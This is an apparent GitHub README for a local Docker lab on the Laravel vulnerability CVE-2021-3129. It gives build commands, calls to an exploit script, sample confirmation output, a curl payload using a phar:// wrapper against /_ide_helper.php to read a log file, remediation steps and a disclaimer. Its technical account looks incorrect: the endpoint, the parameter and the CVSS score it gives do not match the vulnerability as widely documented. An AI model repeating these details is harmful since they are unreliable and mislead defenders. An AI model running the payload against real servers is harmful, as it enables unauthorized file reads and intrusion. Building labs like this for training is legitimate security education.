thenareshofficial/cve-2021-3129-labCVE-2021-3129: Laravel Debug Mode RCE - Complete exploitation lab with Python exploit, Docker container, and security analysis guide.
Hands-on lab for exploiting CVE-2021-3129 - a critical Laravel vulnerability allowing unauthenticated file read and potential RCE.
# Clone
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab
# Build & Run
docker build -t cve-2021-3129-lab:latest .
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest
# Test
curl http://localhost:8080/_ide_helper.php
# Exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
| Property | Details |
|---|---|
| Severity | CVSS 7.5 (High) |
| Affected | Laravel < 8.4.2, < 7.30.4 |
| Impact | Arbitrary file read, Info disclosure, potential RCE |
| Auth Required | No |
| Attack Vector | Network |
/_ide_helper.php endpointphar:// wrapper to read files# 1. Clone
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab
# 2. Build container
docker build -t cve-2021-3129-lab:latest .
# 3. Run container
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest
# 4. Verify endpoint
curl http://localhost:8080/_ide_helper.php
# 5. Run exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
[✓✓✓] CVE-2021-3129 VULNERABILITY CONFIRMED!
VULNERABILITY DETAILS:
- Debug mode is ENABLED (APP_DEBUG=true)
- _ide_helper.php is ACCESSIBLE
- Arbitrary file read is POSSIBLE
- Sensitive information LEAKED
# Basic
python3 cve_2021_3129_exploit.py http://localhost:8080
# Custom timeout
python3 cve_2021_3129_exploit.py http://localhost:8080 --timeout 10
# Help
python3 cve_2021_3129_exploit.py -h
# Test endpoint
curl http://localhost:8080/_ide_helper.php
# Test with payload
curl 'http://localhost:8080/_ide_helper.php?subject=phar://storage/logs/laravel.log'
# 1. Set APP_DEBUG=false in .env
# 2. Remove _ide_helper.php
# 3. Update Laravel to patched version (8.4.2+, 7.30.4+)
# 4. Restart application
# Stop container
docker stop laravel-cve-2021-3129
# Remove container
docker rm laravel-cve-2021-3129
# Remove image
docker rmi cve-2021-3129-lab:latest
Q: Can I test on the internet?
A: No. This is for localhost only. Never test on systems you don't own.
Q: Will this work on patched versions?
A: No. Laravel 8.4.2+ and 7.30.4+ are patched.
Q: Can I modify the exploit?
A: Yes. Code is fully commented for learning.
Q: How to capture network traffic?
A: Use tcpdump or Wireshark:
sudo tcpdump -i lo -w capture.pcapng 'tcp port 8080'
# In another terminal, run the exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
# Open capture: wireshark capture.pcapng
⚠️ Educational purposes only
✅ Authorized Uses:
❌ Prohibited Uses:
Use only on systems you own or have explicit permission to test.
Naresh R (@theNareshofficial)
MIT License - See LICENSE file